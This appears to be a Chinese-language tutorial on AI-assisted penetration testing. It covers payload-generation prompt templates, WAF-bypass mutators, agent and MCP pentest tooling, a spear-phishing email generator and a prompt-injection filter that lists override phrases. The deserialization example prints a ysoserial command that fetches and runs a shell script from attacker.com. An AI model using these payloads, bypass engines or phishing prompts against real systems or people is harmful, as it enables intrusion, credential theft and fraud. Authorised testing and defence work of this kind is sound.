分析以下页面源代码，识别：
1. 使用的框架和CMS
2. 版本信息（如果有）
3. 第三方组件及其已知漏洞
4. 自定义开发 vs 开源系统的比例
{page_source}

Payload生成Prompt模板矩阵

# === SQL注入Payload生成 ===
为以下场景生成10个SQL注入Payload：
- 数据库：MySQL 8.0
- 注入类型：{blind/time-based/union/error-based}
- WAF：{none/Cloudflare/AWS WAF/ModSecurity}
- 上下文：{GET参数/JSON body/Cookie/Header}
- 过滤规则：{已知过滤的关键词列表}
要求：
1. 从简单到复杂排序
2. 每个Payload附带绕过原理说明
3. 给出自动化检测脚本

# === XSS Payload生成 ===
目标：生成绕过 {waf_name} 的XSS Payload
上下文：{html_attribute/href/src/script_tag/innerHTML}
限制：已过滤 {(filtered_keywords)}
要求：
1. 至少提供3种不同的绕过技术
2. 包含编码变体 (HTML实体/URL编码/Unicode)
3. 提供Polyglot Payload (同时对多种上下文有效)

# === XXE Payload生成 ===
为以下XML解析器生成XXE Payload：
- 解析器：{libxml2/Xerces/.NET XmlReader}
- PHP/Java/.NET：{language}
- 需要：{文件读取/SSRF/DoS/RCE}
- 出站连接：{allowed/blocked}
要求：每个Payload附带检测方法

# === 命令注入Payload ===
生成绕过以下过滤的命令注入Payload：
- 操作系统：{Linux/Windows}
- 过滤字符：{filtered_chars}
- 命令长度限制：{max_length}
- 需要执行的命令：{desired_command}
要求：使用至少4种不同的绕过技术

报告撰写Prompt模板

# 渗透测试报告生成
根据以下渗透测试发现，生成完整的专业报告：
{findings_json}
要求：
1. 执行摘要 (200字以内，面向管理层)
2. 技术详情 (每个漏洞的CVSS评分、利用方法、修复建议)
3. 攻击链描述 (如何从低危到高危的组合利用)
4. 修复优先级 (Critical > High > Medium > Low)
5. 附录 (使用的工具和命令)

报告格式：Markdown
语言：中文
风格：专业但易于理解

# 漏洞描述生成
为以下漏洞生成标准的漏洞描述：
- 类型：{vuln_type}
- 位置：{affected_url}
- 参数：{parameter}
- 影响：{impact_description}
参照OWASP Testing Guide v4格式

Prompt注入防御 (防守视角)

# 针对安全工具的Prompt注入防护
# 1. 输入过滤
import re
def sanitize_prompt(user_input):
    # 移除常见的Prompt注入模式
    patterns = [
        r'ignore previous instructions',
        r'you are now',
        r'new system prompt',
        r'bypass|override|disregard',
        r'\[INST\]|<>|<<SYS>>',
    ]
    for pattern in patterns:
        user_input = re.sub(pattern, '[FILTERED]', user_input, flags=re.I)
    return user_input

# 2. 输出验证
def validate_llm_output(output, expected_type="json"):
    if expected_type == "json":
        try:
            json.loads(output)
            return True
        except:
            return False
    # 检查是否包含元指令输出
    forbidden = ["system prompt", "override", "new instructions"]
    for word in forbidden:
        if word in output.lower():
            return False
    return True

AI代码审计工作流

# === 工作流: 单文件深度审计 ===
# Step 1: 代码语义理解
Prompt: "分析以下{csharp}代码的功能和架构，识别所有外部输入点"

# Step 2: 污点追踪
Prompt: "对上面代码进行污点分析，追踪所有用户输入到危险sink点的路径"

# Step 3: 漏洞识别
Prompt: "列出代码中的所有安全漏洞，按CWE分类，给出CVSS评分"

# Step 4: 生成修复方案
Prompt: "为每个漏洞生成具体的修复代码，使用参数化查询/输出编码等最佳实践"

# === 工作流: 全项目审计 ===
# Step 1: 生成项目地图
Prompt: "分析整个项目结构，识别所有认证、授权、输入处理、数据库交互模块"

# Step 2: 按模块优先级审计
Priority: 认证 > 授权 > 数据库 > 文件处理 > 模板渲染 > 其他

# Step 3: 跨文件调用链分析
Prompt: "绘制从HTTP入口到数据库查询的完整调用链，标记所有输入变换点"

Python审计实战 — 发现SQL注入

# 待审计代码 (vulnerable.py)
@app.route('/search')
def search():
    query = request.args.get('q')
    sql = f"SELECT * FROM products WHERE name LIKE '%{query}%'"
    cursor.execute(sql)
    results = cursor.fetchall()
    return render_template('search.html', results=results)

# AI审计Prompt:
审计以上Flask代码片段。
1. 识别安全漏洞及其类型
2. 漏洞触发路径分析
3. 利用方法 (提供具体Payload)
4. 生成修复代码

# AI输出示例:
"""
**漏洞1: SQL注入 (CWE-89)**
- 严重程度: Critical (CVSS 9.8)
- 位置: search()函数, 第4行
- 问题: 用户输入query通过f-string直接拼接到SQL语句
- 攻击路径: GET /search?q=' UNION SELECT username,password FROM users--
- 修复: 使用参数化查询
  cursor.execute("SELECT * FROM products WHERE name LIKE %s", (f'%{query}%',))
"""

Java审计实战 — 反序列化漏洞

# 待审计代码 (VulnerableEndpoint.java)
@WebServlet("/api/import")
public class ImportServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        ObjectInputStream ois = new ObjectInputStream(req.getInputStream());
        Object obj = ois.readObject();  // 危险!
        processObject(obj);
    }
}

# AI审计Prompt:
审计以上Java Servlet代码。
1. 识别所有安全漏洞
2. 提供具体的反序列化Gadget Chain
3. 给出修复方案
4. 估算CVSS评分

# AI输出:
"""
**漏洞: 不安全的反序列化 (CWE-502)**
- CVSS: 9.8 (Critical)
- 问题: 直接对HTTP请求输入流进行反序列化
- 利用: 发送恶意序列化对象 (如CommonsCollections Gadget Chain)
- 攻击工具: ysoserial
  java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh|bash' > payload.ser
  curl -X POST http://target/api/import --data-binary @payload.ser

- 修复方案:
  1. 使用JSON/XML替代Java序列化
  2. 实现ObjectInputFilter白名单
  3. 添加完整性校验 (HMAC签名)
"""

JavaScript审计 — 前端漏洞发现

# AI批量审计脚本 (Python + OpenAI SDK)
import openai, os, json

def audit_project(project_path):
    findings = []
    # 收集所有源文件
    for root, dirs, files in os.walk(project_path):
        for file in files:
            if file.endswith(('.py','.js','.java','.php','.go','.ts')):
                filepath = os.path.join(root, file)
                with open(filepath, 'r', encoding='utf-8') as f:
                    source = f.read()

                # AI审计每个文件
                result = ai_audit_file(filepath, source)
                if result['vulnerabilities']:
                    findings.append(result)

    # 生成汇总报告
    return generate_report(findings)

def ai_audit_file(filepath, source):
    prompt = f"""
    审计文件: {filepath}
    语言: {get_language(filepath)}

    重点检查:
    1. OWASP Top 10漏洞
    2. 硬编码的密钥/凭证
    3. 不安全的加密算法 (MD5/SHA1/DES)
    4. 竞态条件
    5. 不安全的文件操作
    6. 注入漏洞 (SQL/XSS/命令/模板)

    源代码:
    ```{get_language(filepath)}
    {source}
    ```

    输出JSON格式: {{"vulnerabilities": [...], "code_quality": [...], "overall_risk": "low/medium/high/critical"}}
    """
    response = openai.chat.completions.create(
        model="gpt-4o",  # 或 deepseek-chat
        messages=[{"role": "system", "content": "You are a senior application security expert."},
                  {"role": "user", "content": prompt}],
        response_format={"type": "json_object"}
    )
    return json.loads(response.choices[0].message.content)

AI Payload变异引擎

import openai

class AIPayloadMutator:
    """AI驱动的Payload变异器 — 自动绕过WAF/过滤器"""

    def __init__(self, model="deepseek-chat"):
        self.model = model
        self.mutation_history = []

    def mutate(self, base_payload, vuln_type, waf_info, filter_rules):
        prompt = f"""
        你是Payload变异专家。原始Payload被WAF拦截了。

        原始Payload: {base_payload}
        漏洞类型: {vuln_type}
        WAF信息: {waf_info}
        过滤规则: {filter_rules}
        已尝试的变体: {self.mutation_history[-5:]}

        请生成5个新的Payload变体，使用不同的绕过技术：
        1. 编码绕过 (URL/Unicode/Hex/Base64)
        2. 大小写混淆
        3. 关键字拆分与重组
        4. 等价函数替换
        5. 注释/空白字符注入

        输出JSON格式:
        {{"variants": [{{"payload": "...", "technique": "...", "bypass_probability": 0.0-1.0}}]}}
        """

        response = openai.chat.completions.create(
            model=self.model,
            messages=[{"role": "user", "content": prompt}],
            response_format={"type": "json_object"}
        )
        variants = json.loads(response.choices[0].message.content)
        self.mutation_history.extend([v['payload'] for v in variants['variants']])
        return variants['variants']

    def adaptive_mutate(self, base_payload, vuln_type, target_response):
        """根据目标响应自适应变异"""
        prompt = f"""
        目标对Payload的响应: {target_response}

        基于此反馈，优化以下Payload的变异策略:
        1. 如果WAF返回403，尝试不同的编码方式
        2. 如果应用返回错误，调整注入语法
        3. 如果正常响应，尝试更隐蔽的注入方式

        当前Payload: {base_payload}
        漏洞类型: {vuln_type}
        """
        # ... AI生成优化后的变异策略

WAF自动绕过框架

# WAF绕过自动化框架
class WAFBypassFramework:
    def __init__(self, target_url, waf_type):
        self.target = target_url
        self.waf = waf_type
        self.successful_payloads = []
        self.ai_engine = AIPayloadMutator()

    def auto_bypass(self, base_request):
        """自动发现WAF绕过方法"""
        techniques = [
            self._test_encoding,
            self._test_obfuscation,
            self._test_http_parameter_pollution,
            self._test_content_type_switch,
            self._test_protocol_level,
            self._test_ai_generated,
        ]

        for technique in techniques:
            payload = technique(base_request)
            response = self.send_request(payload)

            if self.is_successful(response):
                self.successful_payloads.append({
                    'technique': technique.__name__,
                    'payload': payload,
                    'response': response.status_code
                })
                print(f"[+] Bypass found via {technique.__name__}")

        return self.successful_payloads

    def _test_ai_generated(self, base_request):
        # 使用AI生成绕过变体
        variants = self.ai_engine.mutate(
            base_payload=base_request['body'],
            vuln_type=base_request['vuln_type'],
            waf_info=self.waf,
            filter_rules=self.detect_filter_rules()
        )
        return variants[0]['payload']

多模型协作攻击链

class MultiModelAttackChain:
    """使用多个AI模型协同完成渗透测试"""

    def __init__(self):
        self.models = {
            'analyst': 'claude-4-opus',      # 分析推理
            'payload_gen': 'deepseek-chat',   # Payload生成
            'code_audit': 'claude-4-opus',    # 代码审计
            'report': 'gpt-4o'                # 报告生成
        }

    async def execute_full_attack_chain(self, target):
        # 阶段1: Claude进行目标分析和攻击链规划
        analysis = await self.call_model('analyst', f"""
        分析目标 {target} 的资产和攻击面。
        1. 识别所有对外暴露的服务
        2. 评估每个服务的风险等级
        3. 设计3条备选攻击链
        4. 推荐最佳攻击路径
        """)

        # 阶段2: Claude审计相关开源代码
        if analysis['uses_opensource']:
            code_audit = await self.call_model('code_audit', f"""
            审计以下与目标相关的开源组件的安全性:
            {analysis['components']}
            重点关注已知CVE和常见配置错误
            """)

        # 阶段3: DeepSeek生成定制Payload
        payloads = await self.call_model('payload_gen', f"""
        基于以下分析结果，生成定制Payload:
        {analysis}
        {code_audit}
        要求: 绕过{analysis['waf_info']}，针对{analysis['tech_stack']}
        """)

        # 阶段4: 自动化执行与反馈
        results = await self.execute_payloads(payloads)

        # 阶段5: GPT-4o生成最终报告
        report = await self.call_model('report', f"""
        根据以下渗透测试结果，生成完整的专业报告:
        {results}
        包含执行摘要、技术详情、修复建议
        """)

        return report

AI驱动的模糊测试 (AI-Fuzzing)

class AIFuzzer:
    """LLM增强的智能Fuzzer"""

    def __init__(self, protocol_spec):
        self.spec = protocol_spec  # 协议规范文档
        self.seeds = []  # 种子输入
        self.crashes = []  # 崩溃记录

    def generate_smart_testcases(self):
        prompt = f"""
        根据以下协议规范，生成智能Fuzzing测试用例:

        协议规范: {self.spec}
        已知漏洞模式: {self.crashes[-3:] if self.crashes else 'None'}

        要求:
        1. 生成边界值测试用例 (max/min/overflow)
        2. 生成格式错误测试用例
        3. 生成状态机异常转换测试用例
        4. 针对字段依赖关系的组合爆炸测试

        请生成20个测试用例，并按新奇度排序 (新颖的用例优先)
        """

        response = openai.chat.completions.create(
            model="deepseek-chat",
            messages=[{"role": "user", "content": prompt}]
        )
        return self.parse_testcases(response.choices[0].message.content)

    def analyze_crash(self, crash_input, crash_output):
        prompt = f"""
        分析以下Fuzzing导致的崩溃:

        输入: {crash_input}
        崩溃信息: {crash_output}

        1. 判断崩溃类型 (Buffer Overflow/UAF/Integer Overflow/...)
        2. 评估可利用性 (Exploitable/Probably Exploitable/Not Exploitable)
        3. 如果可利用，给出初步利用思路
        4. 建议下一步测试方向
        """
        # ... AI分析崩溃

AI个性化钓鱼邮件生成

# AI钓鱼邮件生成器
class AIPhishingEngine:
    def __init__(self, target_profile):
        self.profile = target_profile  # 目标个人信息

    def generate_spear_phishing(self):
        prompt = f"""
        你是一位社会工程专家。根据以下目标信息生成定制化钓鱼邮件:

        目标信息:
        - 姓名: {self.profile['name']}
        - 职位: {self.profile['position']}
        - 公司: {self.profile['company']}
        - 近期活动: {self.profile['recent_activity']}
        - 社交网络: {self.profile['social_media']}

        要求:
        1. 模拟其同事/客户的语气和行文习惯
        2. 引用具体的工作场景增加可信度
        3. 制造合理的紧迫感 (但不过度，避免引起怀疑)
        4. 附件名和主题行高度相关
        5. 规避常见垃圾邮件过滤器关键字

        生成3个版本: 正式商务 / 轻松同事 / 紧急通知
        """

        # 此功能仅用于:
        # - 授权的安全意识培训
        # - 内部钓鱼演练
        # - 红蓝对抗授权测试

        response = openai.chat.completions.create(
            model="gpt-4o",
            messages=[{"role": "user", "content": prompt}]
        )
        return response.choices[0].message.content

# 合法用途: 安全意识培训钓鱼模拟
# GoPhish + AI = 智能钓鱼演练平台
# 集成方式:
# gophish-cli campaign create --template=ai_generated_template.html

恶意网站AI自动生成与检测

# 攻击者视角 (仅供防御研究):
# AI可自动克隆目标网站:
# 1. 爬取目标网站所有页面
# 2. AI分析布局和交互
# 3. 自动生成高仿登录页
# 4. 实现凭证捕获 + 自动转发到真实站点 (中间人)

# 防御检测方法:
class AIPhishingDetector:
    def __init__(self):
        self.vision_model = "gpt-4o"  # 多模态模型

    def analyze_page(self, screenshot, html_source):
        prompt = f"""
        分析以下网页是否为钓鱼页面:

        页面截图: {screenshot} (多模态分析)
        HTML源码: {html_source[:5000]}

        检查指标:
        1. 域名相似度 (typosquatting检测)
        2. 品牌标识盗用
        3. 异常的表单action URL
        4. 密码字段自动提交JavaScript
        5. SSL证书异常
        6. 页面元素与官方页面的差异

        输出JSON: {{"is_phishing": bool, "confidence": 0.0-1.0, "indicators": [...]}}
        """
        # 使用多模态AI进行视觉+代码双维度分析
        response = openai.chat.completions.create(
            model=self.vision_model,
            messages=[{"role": "user", "content": prompt}]
        )
        return json.loads(response.choices[0].message.content)

Agent架构设计

# 多Agent协作渗透系统架构
"""
┌─────────────────────────────────────────────┐
│               Orchestrator Agent              │
│         (任务分解、资源分配、状态监控)          │
└────┬──────────┬──────────┬──────────────────┘
     │          │          │
     ▼          ▼          ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│Recon    │ │Exploit  │ │Report   │
│Agent    │ │Agent    │ │Agent    │
│         │ │         │ │         │
│信息收集  │ │漏洞利用  │ │报告生成  │
│资产发现  │ │Payload  │ │格式化    │
│指纹识别  │ │权限提升  │ │修复建议  │
└─────────┘ └─────────┘ └─────────┘
     │          │          │
     └──────────┴──────────┘
                │
                ▼
        ┌──────────────┐
        │ Memory / RAG  │
        │ (知识库/经验) │
        └──────────────┘
"""

LangChain渗透Agent实战

from langchain.agents import AgentExecutor, create_openai_tools_agent
from langchain.tools import tool
from langchain_openai import ChatOpenAI
from langchain.memory import ConversationBufferMemory
import subprocess, json

# 定义渗透测试工具
@tool
def nmap_scan(target: str, ports: str = "1-1000") -> str:
    """对目标执行Nmap端口扫描。target: 目标IP或域名, ports: 端口范围"""
    cmd = ["nmap", "-sV", "-sC", "-p", ports, target]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    return result.stdout

@tool
def sqlmap_test(url: str) -> str:
    """使用SQLMap测试URL是否存在SQL注入。url: 完整的URL包含参数"""
    cmd = ["sqlmap", "-u", url, "--batch", "--dbs", "--level=3"]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
    return result.stdout

@tool
def search_exploit(vulnerability: str) -> str:
    """搜索Exploit-DB和CVE数据库。vulnerability: 漏洞描述"""
    cmd = ["searchsploit", "--json", vulnerability]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

@tool
def analyze_findings(findings_json: str) -> str:
    """AI分析渗透测试发现并规划下一步。findings_json: 发现列表的JSON"""
    # 调用LLM进行分析
    llm = ChatOpenAI(model="gpt-4o", temperature=0)
    analysis = llm.invoke(f"""
    分析以下渗透测试发现并建议下一步行动:
    {findings_json}

    考虑因素:
    1. 漏洞严重性和可利用性
    2. 后续攻击路径
    3. 需要收集的额外信息
    4. 风险规避策略

    输出JSON格式的计划。
    """)
    return analysis.content

# 构建Agent
class PentestAgent:
    def __init__(self, target, scope_file):
        self.target = target
        self.scope = self.load_scope(scope_file)
        self.tools = [nmap_scan, sqlmap_test, search_exploit, analyze_findings]
        self.memory = ConversationBufferMemory(memory_key="chat_history")

    def create_agent(self):
        llm = ChatOpenAI(model="gpt-4o", temperature=0)

        system_prompt = f"""
        你是一个渗透测试Agent。目标: {self.target}
        测试范围: {self.scope}

        规则:
        1. 严格遵守scope范围
        2. 执行操作前评估风险
        3. 记录所有操作和结果
        4. 遇到关键发现时暂停并报告
        5. 不要执行破坏性操作
        """

        agent = create_openai_tools_agent(llm, self.tools, system_prompt)
        return AgentExecutor(
            agent=agent,
            tools=self.tools,
            memory=self.memory,
            verbose=True,
            max_iterations=20,
            handle_parsing_errors=True
        )

    def execute(self, task):
        agent = self.create_agent()
        return agent.invoke({"input": task})

Agent决策链 (Chain-of-Thought攻击)

# ReAct模式 (Reasoning + Acting)
class ReactPentestAgent:
    def run(self, target):
        thought_chain = []
        findings = []

        # Observation → Thought → Action → Observation → ...
        while not self.goal_achieved():
            # 1. 观察当前状态
            observation = self.observe(target)

            # 2. 思考下一步
            thought = self.llm.think(
                observation=observation,
                history=thought_chain,
                findings=findings,
                available_tools=self.tools
            )

            # 3. 执行动作
            action = self.llm.decide_action(thought)
            result = self.execute_action(action)

            # 4. 评估结果
            evaluation = self.llm.evaluate(result, thought)

            thought_chain.append({
                "observation": observation,
                "thought": thought,
                "action": action.name,
                "result": result,
                "evaluation": evaluation
            })

            if evaluation['is_finding']:
                findings.append(evaluation['finding'])

        return self.generate_report(thought_chain, findings)

RAG渗透知识库架构

# RAG系统组件:
# 1. 文档加载器 — 导入CVE库、技术文档、内部Wiki
# 2. 文本分割器 — 智能切分文档为检索块
# 3. 向量化引擎 — 将文本转为语义向量
# 4. 向量数据库 — 存储和检索向量
# 5. 检索器 — 根据查询获取相关文档
# 6. LLM生成器 — 结合检索结果生成答案

# 知识源:
# - NVD/CVE数据库 (20万+条漏洞)
# - Exploit-DB漏洞利用库 (5万+利用代码)
# - OWASP测试指南
# - MITRE ATT&CK框架
# - 内部渗透测试报告
# - 安全工具文档 (Metasploit/Burp/SQLMap/...)
# - 漏洞Writeup和CTF题解

向量数据库选型对比

构建CVE知识库 (完整代码)

from langchain.document_loaders import JSONLoader, DirectoryLoader
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain.embeddings import OpenAIEmbeddings
from langchain.vectorstores import Chroma
from langchain.chat_models import ChatOpenAI
from langchain.chains import RetrievalQA
import json, os

# 1. 加载NVD CVE数据
def load_cve_data(cve_directory):
    loader = DirectoryLoader(
        cve_directory,
        glob="**/*.json",
        loader_cls=JSONLoader,
        loader_kwargs={"jq_schema": ".CVE_Items[]"}
    )
    documents = loader.load()
    print(f"Loaded {len(documents)} CVE entries")
    return documents

# 2. 分割文档
def split_documents(documents):
    text_splitter = RecursiveCharacterTextSplitter(
        chunk_size=1000,
        chunk_overlap=200,
        separators=["\n\n", "\n", ". ", " ", ""]
    )
    chunks = text_splitter.split_documents(documents)
    print(f"Split into {len(chunks)} chunks")
    return chunks

# 3. 创建向量存储
def create_vector_store(chunks, persist_dir="./cve_vector_db"):
    embeddings = OpenAIEmbeddings(model="text-embedding-3-large")

    vector_store = Chroma.from_documents(
        documents=chunks,
        embedding=embeddings,
        persist_directory=persist_dir
    )
    vector_store.persist()
    print(f"Vector store saved to {persist_dir}")
    return vector_store

# 4. 创建RAG检索链
def create_rag_chain(vector_store):
    retriever = vector_store.as_retriever(
        search_type="mmr",  # Maximal Marginal Relevance
        search_kwargs={"k": 10, "fetch_k": 30}
    )

    llm = ChatOpenAI(model="gpt-4o", temperature=0)

    qa_chain = RetrievalQA.from_chain_type(
        llm=llm,
        chain_type="stuff",
        retriever=retriever,
        return_source_documents=True
    )
    return qa_chain

# 5. 查询示例
def query_vulnerability(qa_chain, question):
    result = qa_chain({"query": question})
    print(f"Q: {question}")
    print(f"A: {result['result']}")
    print(f"Sources: {[doc.metadata for doc in result['source_documents']]}")
    return result

# 使用
vector_store = create_vector_store(split_documents(load_cve_data("./nvd_data/")))
rag = create_rag_chain(vector_store)

query_vulnerability(rag, "Apache Struts有哪些远程代码执行漏洞?")
query_vulnerability(rag, "针对IIS 10.0的最新漏洞有哪些?")
query_vulnerability(rag, "如何利用CVE-2023-XXXX进行权限提升?")

实时漏洞情报RAG Pipeline

# 自动更新RAG知识库的Pipeline
import schedule, time
from datetime import datetime

class VulnerabilityIntelPipeline:
    def __init__(self, vector_store):
        self.vs = vector_store
        self.sources = [
            "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-recent.json.zip",
            "https://cvelistv5.mitre.org/",
            "https://www.exploit-db.com/rss.xml",
            # Twitter/GitHub安全监控 (通过API)
        ]

    def fetch_latest_cves(self):
        """每小时获取最新CVE"""
        for source in self.sources:
            data = self.download_and_parse(source)
            new_docs = self.process_new_entries(data)
            if new_docs:
                self.vs.add_documents(new_docs)
                print(f"[{datetime.now()}] Added {len(new_docs)} new entries")

    def run_daily(self):
        schedule.every(1).hours.do(self.fetch_latest_cves)
        while True:
            schedule.run_pending()
            time.sleep(60)

# 使用时:
# pipeline = VulnerabilityIntelPipeline(vector_store)
# pipeline.run_daily()  # 持续运行，实时更新

MCP协议架构详解

# MCP协议核心概念
"""
┌──────────────────────────────────────┐
│            AI 模型 (Client)            │
│  Claude Desktop / DeepSeek / GPT-5   │
└────────────┬─────────────────────────┘
             │  MCP Protocol (JSON-RPC 2.0)
             │  ┌─ tools/list     — 列出可用工具
             │  ├─ tools/call     — 调用工具
             │  ├─ resources/read — 读取资源
             │  ├─ prompts/get    — 获取提示模板
             │  └─ sampling/*     — 服务器请求LLM采样
             ▼
┌──────────────────────────────────────┐
│          MCP Server (安全工具)         │
│  ┌─────────────────────────────────┐ │
│  │ Transport Layer                 │ │
│  │  ├─ stdio (本地进程通信)         │ │
│  │  ├─ HTTP/SSE (远程通信)          │ │
│  │  └─ WebSocket (双向实时)         │ │
│  ├─────────────────────────────────┤ │
│  │ Tool Implementations            │ │
│  │  ├─ nmap_scan(target, ports)    │ │
│  │  ├─ sqlmap_test(url, params)    │ │
│  │  └─ burp_scan(target, config)   │ │
│  └─────────────────────────────────┘ │
└──────────────────────────────────────┘
"""

# MCP vs 传统API对比:
# ┌──────────┬──────────┬─────────────┬──────────┐
# │          │ MCP      │ REST API    │ WebSocket│
# ├──────────┼──────────┼─────────────┼──────────┤
# │ 协议     │ JSON-RPC │ HTTP/REST   │ WS       │
# │ 类型安全 │ ✅ 强    │ ❌ 弱       │ ❌ 弱    │
# │ 流式     │ ✅       │ ❌          │ ✅       │
# │ 工具发现 │ ✅ 自动  │ ❌ 手动文档 │ ❌ 手动   │
# │ AI集成   │ ✅ 原生  │ ⚠️ 需适配   │ ⚠️ 需适配 │
# │ 双向通信 │ ✅       │ ❌          │ ✅       │
# │ 版本管理 │ ✅       │ ❌          │ ❌       │
# └──────────┴──────────┴─────────────┴──────────┘

自定义MCP服务器开发 (Python)

# pentest_mcp_server.py — 完整的渗透测试MCP服务器
from mcp.server import Server, NotificationOptions
from mcp.server.models import InitializationCapabilities
from mcp.server.stdio import stdio_server
from mcp.types import Tool, TextContent
import subprocess, json, asyncio

server = Server("pentest-mcp-server")

# 注册工具列表
@server.list_tools()
async def handle_list_tools():
    return [
        Tool(
            name="nmap_scan",
            description="执行Nmap端口扫描并返回结果",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {"type": "string", "description": "目标IP或域名"},
                    "ports": {"type": "string", "description": "端口范围", "default": "1-1000"},
                    "options": {"type": "string", "description": "额外Nmap选项", "default": "-sV -sC"}
                },
                "required": ["target"]
            }
        ),
        Tool(
            name="sqlmap_test",
            description="使用SQLMap测试URL的SQL注入漏洞",
            inputSchema={
                "type": "object",
                "properties": {
                    "url": {"type": "string", "description": "目标URL(含参数)"},
                    "level": {"type": "integer", "description": "测试等级(1-5)", "default": 3}
                },
                "required": ["url"]
            }
        ),
        Tool(
            name="exploit_search",
            description="搜索Exploit-DB/CVE数据库",
            inputSchema={
                "type": "object",
                "properties": {
                    "query": {"type": "string", "description": "搜索关键词(软件名/版本/CVE编号)"}
                },
                "required": ["query"]
            }
        ),
        Tool(
            name="dir_bruteforce",
            description="目录/文件爆破扫描",
            inputSchema={
                "type": "object",
                "properties": {
                    "url": {"type": "string", "description": "目标URL"},
                    "wordlist": {"type": "string", "description": "字典路径"}
                },
                "required": ["url"]
            }
        ),
    ]

# 工具调用处理
@server.call_tool()
async def handle_call_tool(name: str, arguments: dict):
    if name == "nmap_scan":
        result = await run_nmap(
            arguments["target"],
            arguments.get("ports", "1-1000"),
            arguments.get("options", "-sV -sC")
        )
    elif name == "sqlmap_test":
        result = await run_sqlmap(
            arguments["url"],
            arguments.get("level", 3)
        )
    elif name == "exploit_search":
        result = await search_exploits(arguments["query"])
    elif name == "dir_bruteforce":
        result = await bruteforce_dirs(
            arguments["url"],
            arguments.get("wordlist", "/usr/share/wordlists/dirb/common.txt")
        )
    else:
        raise ValueError(f"Unknown tool: {name}")

    return [TextContent(type="text", text=result)]

async def run_nmap(target, ports, options):
    cmd = f"nmap {options} -p {ports} {target}"
    proc = await asyncio.create_subprocess_shell(
        cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
    )
    stdout, stderr = await proc.communicate()
    return stdout.decode() if not proc.returncode else f"Error: {stderr.decode()}"

async def run_sqlmap(url, level):
    cmd = f"sqlmap -u '{url}' --batch --level={level} --dbs"
    proc = await asyncio.create_subprocess_shell(
        cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
    )
    stdout, stderr = await proc.communicate()
    return stdout.decode()

async def search_exploits(query):
    cmd = f"searchsploit --colour '{query}'"
    proc = await asyncio.create_subprocess_shell(
        cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
    )
    stdout, stderr = await proc.communicate()
    return stdout.decode()

# 启动服务器
async def main():
    async with stdio_server() as (read_stream, write_stream):
        await server.run(
            read_stream,
            write_stream,
            InitializationCapabilities(
                sampling={},
                experimental={},
            ),
        )

if __name__ == "__main__":
    asyncio.run(main())

多工具MCP编排 — 攻击链自动化

# MCP编排器 — 协调多个MCP服务器协同工作
class MCPOrchestrator:
    def __init__(self):
        self.servers = {
            "nmap": MCPClient("nmap-mcp-server", transport="stdio"),
            "burp": MCPClient("burp-mcp-server", transport="http", port=8081),
            "sqlmap": MCPClient("pentest-mcp-server", transport="stdio"),
        }

    async def recon_phase(self, target):
        """信息收集阶段 — 并行调用多个工具"""
        # 并行执行Nmap扫描和目录爆破
        results = await asyncio.gather(
            self.servers["nmap"].call("nmap_scan", {"target": target}),
            self.servers["burp"].call("start_scan", {"url": target}),
        )
        return self.analyze_recon_results(results)

    async def exploit_phase(self, recon_results):
        """漏洞利用阶段 — 根据侦察结果串行攻击"""
        findings = []
        for port_info in recon_results['open_ports']:
            if port_info['service'] == 'http':
                # 对每个Web服务进行SQL注入测试
                sql_result = await self.servers["sqlmap"].call(
                    "sqlmap_test",
                    {"url": f"http://{port_info['host']}:{port_info['port']}/"}
                )
                findings.append(sql_result)
        return findings

# Claude Desktop配置 (claude_desktop_config.json)
"""
{
  "mcpServers": {
    "pentest": {
      "command": "python",
      "args": ["pentest_mcp_server.py"],
      "env": {
        "PATH": "/usr/local/bin:/usr/bin:/bin"
      }
    },
    "burp": {
      "command": "burp-mcp-server",
      "args": ["--port", "8081"],
      "transport": "http"
    }
  }
}
"""

Burp MCP工具完整清单

AI + Burp联动场景

# 场景1: AI自动分析流量，发现隐藏漏洞
"""
Claude/GPT查看Burp SiteMap →
  识别所有参数 →
    对每个参数进行AI分析 →
      发现隐藏IDOR/逻辑漏洞 →
        自动发送到Repeater验证
"""

# 场景2: AI智能Intruder
"""
AI分析请求结构 →
  自动标记Payload位置 →
    生成上下文感知的Payload字典 →
      运行Intruder →
        AI分析结果并调整策略
"""

# 场景3: AI辅助认证测试
"""
AI读取登录流程 →
  识别认证机制类型 →
    生成测试用例:
    - JWT: 修改算法、空密钥、过期时间
    - OAuth: 测试redirect_uri、state参数
    - Session: 测试会话固定、会话预测
    - Basic: 测试弱密码、默认凭证
  → 自动验证每个测试用例
"""

Burp MCP高级配置

# config.yaml — Burp MCP服务器配置
server:
  host: 127.0.0.1
  port: 8081
  transport: http  # http / sse / websocket

burp:
  api_url: http://localhost:8090  # Burp REST API
  api_key: "your-burp-api-key"

auth:
  type: api_key  # api_key / oauth / none
  api_key_header: "X-MCP-Token"

tools:
  # 按需启用工具
  enabled:
    - start_scan
    - get_scan_results
    - get_issues
    - get_sitemap
    - send_to_repeater
    - send_to_intruder
    - get_proxy_history
  # 高危工具需要人工确认
  require_approval:
    - start_scan
    - send_to_intruder

rate_limits:
  max_requests_per_minute: 60
  max_scans_per_hour: 10

logging:
  level: info  # debug / info / warn / error
  audit_log: /var/log/burp-mcp/audit.log
  format: json

完整AI渗透测试工作流

# === 阶段1: AI增强信息收集 (30分钟) ===
1. AI分析目标公司公开信息 (Crunchbase/LinkedIn/新闻)
2. 子域名枚举 (AI分析证书透明度日志 + DNS爆破)
3. 端口扫描结果AI分析
4. 技术栈指纹自动识别
5. 生成信息收集报告

# === 阶段2: 漏洞扫描与验证 (2-4小时) ===
1. 自动化扫描 (Nessus/Burp/MCP orchestration)
2. AI分析扫描结果，去重并排序
3. 已知漏洞的自动化验证
4. 逻辑漏洞的AI辅助检测
5. 生成漏洞清单 (按可利用性排序)

# === 阶段3: AI辅助漏洞利用 (4-8小时) ===
1. AI生成定制Payload
2. WAF自动绕过尝试
3. 成功利用后获取Shell/Burp Collaborator回显
4. AI分析权限提升路径
